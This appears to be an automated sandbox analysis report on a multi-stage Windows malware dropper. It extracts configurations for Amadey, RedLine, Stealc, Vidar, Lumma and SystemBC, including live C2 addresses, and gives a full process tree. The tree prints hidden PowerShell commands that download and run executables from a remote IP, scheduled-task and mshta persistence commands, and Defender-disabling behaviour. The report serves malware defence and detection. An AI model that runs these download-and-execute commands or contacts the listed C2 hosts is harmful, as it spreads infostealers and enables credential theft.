Overview

overview

10

Static

static

3

3c1aad8791...a1.exe

windows7-x64

10

3c1aad8791...a1.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    20-02-2025 14:04

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    3c1aad8791b6c8accf275212576ba86515780f8d7788401173915e5393980ba1.exe

  • Size

    2.1MB

  • MD5

    c69b7bac11b14128b1b1730e0f9732e9

  • SHA1

    02fb9cd3f069cf7ca9f716ef1ce42ff58ba5b230

  • SHA256

    3c1aad8791b6c8accf275212576ba86515780f8d7788401173915e5393980ba1

  • SHA512

    aa945a199241a72e28f0efd9b2e471505b111aed4fb27dfe146ffec4e309d8495841ceae94e50b139f5a3c559d888d4a7229cb6c6eff780ca9ec7fdd200b7342

  • SSDEEP

    24576:gSWtfoYP2LExV94F87p/Z79SBHSA4luPmuNDjwFMh0XpR5c+JEwV2fEh+iTq7Xm4:gSWtuW7byHZ4luPjDjjh0dBSNLwqMyH

Score
10/10
amadeygcleanerhealerlummaredlinesectopratstealcsystembcvidar9c9aa5cheatdefaultdefense_evasiondiscoverydropperevasionexecutioninfostealerloaderpersistenceprivilege_escalationratspywarestealertrojanupx

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://185.215.113.16/defend/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://185.215.113.16/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://185.215.113.16/mine/random.exe

Extracted

Family

amadey

Version

4.42

Botnet

9c9aa5

C2

http://185.215.113.43

Attributes
  • install_dir

    abc3bc1985

  • install_file

    skotes.exe

  • strings_key

    8a35cf2ea38c2817dba29a4b5b25dcf0

  • url_paths

    /Zu7JuNko/index.php

rc4.plain

Extracted

Family

systembc

C2

cobolrationumelawrtewarms.co:4001

93.186.202.3:4001
Attributes
  • dns

    5.132.191.104

    ns1.vic.au.dns.opennic.glue

    ns2.vic.au.dns.opennic.glue

Extracted

Family

redline

Botnet

cheat

C2

103.84.89.222:33791

Extracted

Family

stealc

Botnet

default

C2

http://ecozessentials.com

Attributes
  • url_path

    /e6cb1c8fc7cd1659.php

Extracted

Family

vidar

C2

https://t.me/g02f04

https://steamcommunity.com/profiles/76561199828130190
Attributes
  • user_agent

    Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/131.0.0.0 Safari/537.36 OPR/116.0.0.0

Extracted

Family

lumma

C2

https://penetratebatt.pw/api

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detect Vidar Stealer 2 IoCs
    stealer
  • Detects Healer an antivirus disabler dropper 2 IoCs
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • Redline family
    redline
  • SectopRAT

    SectopRAT is a remote access trojan first seen in November 2019.

    trojanratsectoprat
  • SectopRAT payload 2 IoCs
  • Sectoprat family
    sectoprat
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • SystemBC

    SystemBC is a proxy and remote administration tool first seen in 2019.

    trojansystembc
  • Systembc family
    systembc
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Vidar family
    vidar
  • Enumerates VirtualBox registry keys 2 TTPs 1 IoCs
    defense_evasion
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 22 IoCs
    defense_evasion
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 30 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks BIOS information in registry 2 TTPs 44 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 54 IoCs
  • Identifies Wine through registry keys 2 TTPs 22 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Windows security modification 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Adds Run key to start application 2 TTPs 8 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • AutoIT Executable 3 IoCs

    AutoIT scripts compiled to PE executables.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 22 IoCs
  • Suspicious use of SetThreadContext 10 IoCs
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 19 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 8 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 10 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Kills process with taskkill 5 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 52 IoCs
  • Modifies registry class 38 IoCs
  • Modifies system certificate store 2 TTPs 10 IoCs
    defense_evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 24 IoCs
  • Suspicious use of SendNotifyMessage 19 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\3c1aad8791b6c8accf275212576ba86515780f8d7788401173915e5393980ba1.exe
    "C:\Users\Admin\AppData\Local\Temp\3c1aad8791b6c8accf275212576ba86515780f8d7788401173915e5393980ba1.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Identifies Wine through registry keys
    • Loads dropped DLL
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:1156
    • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
      "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Downloads MZ/PE file
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Loads dropped DLL
      • Adds Run key to start application
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1976
      • C:\Users\Admin\AppData\Local\Temp\1087058001\dzvh4HC.exe
        "C:\Users\Admin\AppData\Local\Temp\1087058001\dzvh4HC.exe"
        3⤵
        • Executes dropped EXE
        PID:2176
      • C:\Users\Admin\AppData\Local\Temp\1087623001\NL58452.exe
        "C:\Users\Admin\AppData\Local\Temp\1087623001\NL58452.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1256
        • C:\Users\Admin\AppData\Local\Temp\1087623001\NL58452.exe
          "C:\Users\Admin\AppData\Local\Temp\1087623001\NL58452.exe"
          4⤵
          • Executes dropped EXE
          PID:1760
        • C:\Users\Admin\AppData\Local\Temp\1087623001\NL58452.exe
          "C:\Users\Admin\AppData\Local\Temp\1087623001\NL58452.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:1848
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1256 -s 508
          4⤵
          • Loads dropped DLL
          • Program crash
          PID:2392
      • C:\Users\Admin\AppData\Local\Temp\1087891001\f3Ypd8O.exe
        "C:\Users\Admin\AppData\Local\Temp\1087891001\f3Ypd8O.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:696
        • C:\Users\Admin\AppData\Local\Temp\1087891001\f3Ypd8O.exe
          "C:\Users\Admin\AppData\Local\Temp\1087891001\f3Ypd8O.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:580
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 696 -s 500
          4⤵
          • Loads dropped DLL
          • Program crash
          PID:864
      • C:\Users\Admin\AppData\Local\Temp\1088207001\kdMujZh.exe
        "C:\Users\Admin\AppData\Local\Temp\1088207001\kdMujZh.exe"
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:2352
      • C:\Users\Admin\AppData\Local\Temp\1088752001\sQ3DZPU.exe
        "C:\Users\Admin\AppData\Local\Temp\1088752001\sQ3DZPU.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:628
        • C:\ProgramData\apisysDirectx_11\apisysDirectx.exe
          "C:\ProgramData\apisysDirectx_11\apisysDirectx.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: AddClipboardFormatListener
          PID:1160
          • C:\Windows\SysWOW64\schtasks.exe
            "schtasks.exe" /create /tn apisysDirectx_11 /tr "C:\ProgramData\apisysDirectx_11\apisysDirectx.exe" /st 14:07 /du 23:59 /sc daily /ri 1 /f
            5⤵
            • Scheduled Task/Job: Scheduled Task
            PID:264
      • C:\Users\Admin\AppData\Local\Temp\1088919001\a1EoH8b.exe
        "C:\Users\Admin\AppData\Local\Temp\1088919001\a1EoH8b.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:1168
        • C:\Windows\SysWOW64\msiexec.exe
          "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\91b7d375130f294a\ScreenConnect.ClientSetup.msi"
          4⤵
          • Enumerates connected drives
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:868
      • C:\Users\Admin\AppData\Local\Temp\1089114001\MAl7pjE.exe
        "C:\Users\Admin\AppData\Local\Temp\1089114001\MAl7pjE.exe"
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:1076
      • C:\Users\Admin\AppData\Local\Temp\1089179101\b95bc460f0.exe
        "C:\Users\Admin\AppData\Local\Temp\1089179101\b95bc460f0.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:1580
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c schtasks /create /tn 7ctn4maq0O2 /tr "mshta C:\Users\Admin\AppData\Local\Temp\Zt6zSS3iz.hta" /sc minute /mo 25 /ru "Admin" /f
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2848
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /create /tn 7ctn4maq0O2 /tr "mshta C:\Users\Admin\AppData\Local\Temp\Zt6zSS3iz.hta" /sc minute /mo 25 /ru "Admin" /f
            5⤵
            • System Location Discovery: System Language Discovery
            • Scheduled Task/Job: Scheduled Task
            PID:2944
        • C:\Windows\SysWOW64\mshta.exe
          mshta C:\Users\Admin\AppData\Local\Temp\Zt6zSS3iz.hta
          4⤵
          • Modifies Internet Explorer settings
          PID:2428
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'Q4ABZB21FBRJNNAJWSBP1TZVX8I8LS20.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Downloads MZ/PE file
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:1180
            • C:\Users\Admin\AppData\Local\TempQ4ABZB21FBRJNNAJWSBP1TZVX8I8LS20.EXE
              "C:\Users\Admin\AppData\Local\TempQ4ABZB21FBRJNNAJWSBP1TZVX8I8LS20.EXE"
              6⤵
              • Modifies Windows Defender DisableAntiSpyware settings
              • Modifies Windows Defender Real-time Protection settings
              • Modifies Windows Defender TamperProtection settings
              • Modifies Windows Defender notification settings
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Windows security modification
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:1300
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\1089180021\am_no.cmd" "
        3⤵
          PID:1652
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\1089180021\am_no.cmd" any_word
            4⤵
              PID:532
              • C:\Windows\SysWOW64\timeout.exe
                timeout /t 2
                5⤵
                • System Location Discovery: System Language Discovery
                • Delays execution with timeout.exe
                PID:1932
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                5⤵
                • System Location Discovery: System Language Discovery
                PID:1408
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                  6⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2664
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                5⤵
                • System Location Discovery: System Language Discovery
                PID:2436
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                  6⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1504
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                5⤵
                • System Location Discovery: System Language Discovery
                PID:2152
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                  6⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2360
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /tn "ezbPqmaLvPI" /tr "mshta \"C:\Temp\9nmt3VMAT.hta\"" /sc minute /mo 25 /ru "Admin" /f
                5⤵
                • System Location Discovery: System Language Discovery
                • Scheduled Task/Job: Scheduled Task
                PID:2564
              • C:\Windows\SysWOW64\mshta.exe
                mshta "C:\Temp\9nmt3VMAT.hta"
                5⤵
                • System Location Discovery: System Language Discovery
                • Modifies Internet Explorer settings
                PID:2284
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
                  6⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • Downloads MZ/PE file
                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1504
                  • C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
                    "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
                    7⤵
                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                    • Checks BIOS information in registry
                    • Executes dropped EXE
                    • Identifies Wine through registry keys
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1428
          • C:\Users\Admin\AppData\Local\Temp\1089272001\95b5695165.exe
            "C:\Users\Admin\AppData\Local\Temp\1089272001\95b5695165.exe"
            3⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:2232
            • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
              "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
              4⤵
              • Downloads MZ/PE file
              • System Location Discovery: System Language Discovery
              PID:2476
          • C:\Users\Admin\AppData\Local\Temp\1089273001\edfeb1d137.exe
            "C:\Users\Admin\AppData\Local\Temp\1089273001\edfeb1d137.exe"
            3⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:3016
          • C:\Users\Admin\AppData\Local\Temp\1089274001\5c9cf0fb93.exe
            "C:\Users\Admin\AppData\Local\Temp\1089274001\5c9cf0fb93.exe"
            3⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            PID:2240
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 2240 -s 888
              4⤵
              • Loads dropped DLL
              • Program crash
              PID:3012
          • C:\Users\Admin\AppData\Local\Temp\1089275001\amnew.exe
            "C:\Users\Admin\AppData\Local\Temp\1089275001\amnew.exe"
            3⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Suspicious use of FindShellTrayWindow
            PID:2248
            • C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
              "C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"
              4⤵
              • Downloads MZ/PE file
              • Executes dropped EXE
              • Adds Run key to start application
              • System Location Discovery: System Language Discovery
              • Modifies system certificate store
              PID:1884
              • C:\Users\Admin\AppData\Local\Temp\10002760101\monthdragon.exe
                "C:\Users\Admin\AppData\Local\Temp\10002760101\monthdragon.exe"
                5⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:1144
                • C:\Users\Admin\AppData\Local\Temp\10002760101\monthdragon.exe
                  "C:\Users\Admin\AppData\Local\Temp\10002760101\monthdragon.exe"
                  6⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2524
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1144 -s 560
                  6⤵
                  • Program crash
                  PID:2808
              • C:\Users\Admin\AppData\Local\Temp\10009640101\74caf6e3ae.exe
                "C:\Users\Admin\AppData\Local\Temp\10009640101\74caf6e3ae.exe"
                5⤵
                • Enumerates VirtualBox registry keys
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                PID:4048
              • C:\Users\Admin\AppData\Local\Temp\10009650101\72bd9825d6.exe
                "C:\Users\Admin\AppData\Local\Temp\10009650101\72bd9825d6.exe"
                5⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of SetThreadContext
                • System Location Discovery: System Language Discovery
                PID:3520
                • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                  "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                  6⤵
                  • System Location Discovery: System Language Discovery
                  PID:2972
          • C:\Users\Admin\AppData\Local\Temp\1089276001\1225f1d26c.exe
            "C:\Users\Admin\AppData\Local\Temp\1089276001\1225f1d26c.exe"
            3⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Modifies system certificate store
            • Suspicious behavior: EnumeratesProcesses
            PID:1224
          • C:\Users\Admin\AppData\Local\Temp\1089278001\DTQCxXZ.exe
            "C:\Users\Admin\AppData\Local\Temp\1089278001\DTQCxXZ.exe"
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:1728
          • C:\Users\Admin\AppData\Local\Temp\1089279001\7aencsM.exe
            "C:\Users\Admin\AppData\Local\Temp\1089279001\7aencsM.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            PID:2904
            • C:\Users\Admin\AppData\Local\Temp\1089279001\7aencsM.exe
              "C:\Users\Admin\AppData\Local\Temp\1089279001\7aencsM.exe"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Modifies system certificate store
              PID:1524
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 2904 -s 556
              4⤵
              • Program crash
              PID:1924
          • C:\Users\Admin\AppData\Local\Temp\1089280001\dzvh4HC.exe
            "C:\Users\Admin\AppData\Local\Temp\1089280001\dzvh4HC.exe"
            3⤵
            • Executes dropped EXE
            PID:2056
          • C:\Users\Admin\AppData\Local\Temp\1089281001\Bjkm5hE.exe
            "C:\Users\Admin\AppData\Local\Temp\1089281001\Bjkm5hE.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            PID:1464
            • C:\Users\Admin\AppData\Local\Temp\1089281001\Bjkm5hE.exe
              "C:\Users\Admin\AppData\Local\Temp\1089281001\Bjkm5hE.exe"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:1472
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1464 -s 556
              4⤵
              • Program crash
              PID:864
          • C:\Users\Admin\AppData\Local\Temp\1089284001\f3Ypd8O.exe
            "C:\Users\Admin\AppData\Local\Temp\1089284001\f3Ypd8O.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            PID:2236
            • C:\Users\Admin\AppData\Local\Temp\1089284001\f3Ypd8O.exe
              "C:\Users\Admin\AppData\Local\Temp\1089284001\f3Ypd8O.exe"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:2948
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 2236 -s 500
              4⤵
              • Program crash
              PID:2564
          • C:\Users\Admin\AppData\Local\Temp\1089285001\MAl7pjE.exe
            "C:\Users\Admin\AppData\Local\Temp\1089285001\MAl7pjE.exe"
            3⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:3240
          • C:\Users\Admin\AppData\Local\Temp\1089286001\05a9811bd3.exe
            "C:\Users\Admin\AppData\Local\Temp\1089286001\05a9811bd3.exe"
            3⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            PID:3752
          • C:\Users\Admin\AppData\Local\Temp\1089287001\NL58452.exe
            "C:\Users\Admin\AppData\Local\Temp\1089287001\NL58452.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            PID:2904
            • C:\Users\Admin\AppData\Local\Temp\1089287001\NL58452.exe
              "C:\Users\Admin\AppData\Local\Temp\1089287001\NL58452.exe"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:3084
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 2904 -s 508
              4⤵
              • Program crash
              PID:2168
          • C:\Users\Admin\AppData\Local\Temp\1089288001\sQ3DZPU.exe
            "C:\Users\Admin\AppData\Local\Temp\1089288001\sQ3DZPU.exe"
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:3456
          • C:\Users\Admin\AppData\Local\Temp\1089289001\d317e9c8c3.exe
            "C:\Users\Admin\AppData\Local\Temp\1089289001\d317e9c8c3.exe"
            3⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Modifies system certificate store
            PID:1440
          • C:\Users\Admin\AppData\Local\Temp\1089290001\a18028f754.exe
            "C:\Users\Admin\AppData\Local\Temp\1089290001\a18028f754.exe"
            3⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            PID:1408
          • C:\Users\Admin\AppData\Local\Temp\1089291001\f2b5b2a0f4.exe
            "C:\Users\Admin\AppData\Local\Temp\1089291001\f2b5b2a0f4.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            PID:1972
            • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
              "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
              4⤵
              • System Location Discovery: System Language Discovery
              PID:4108
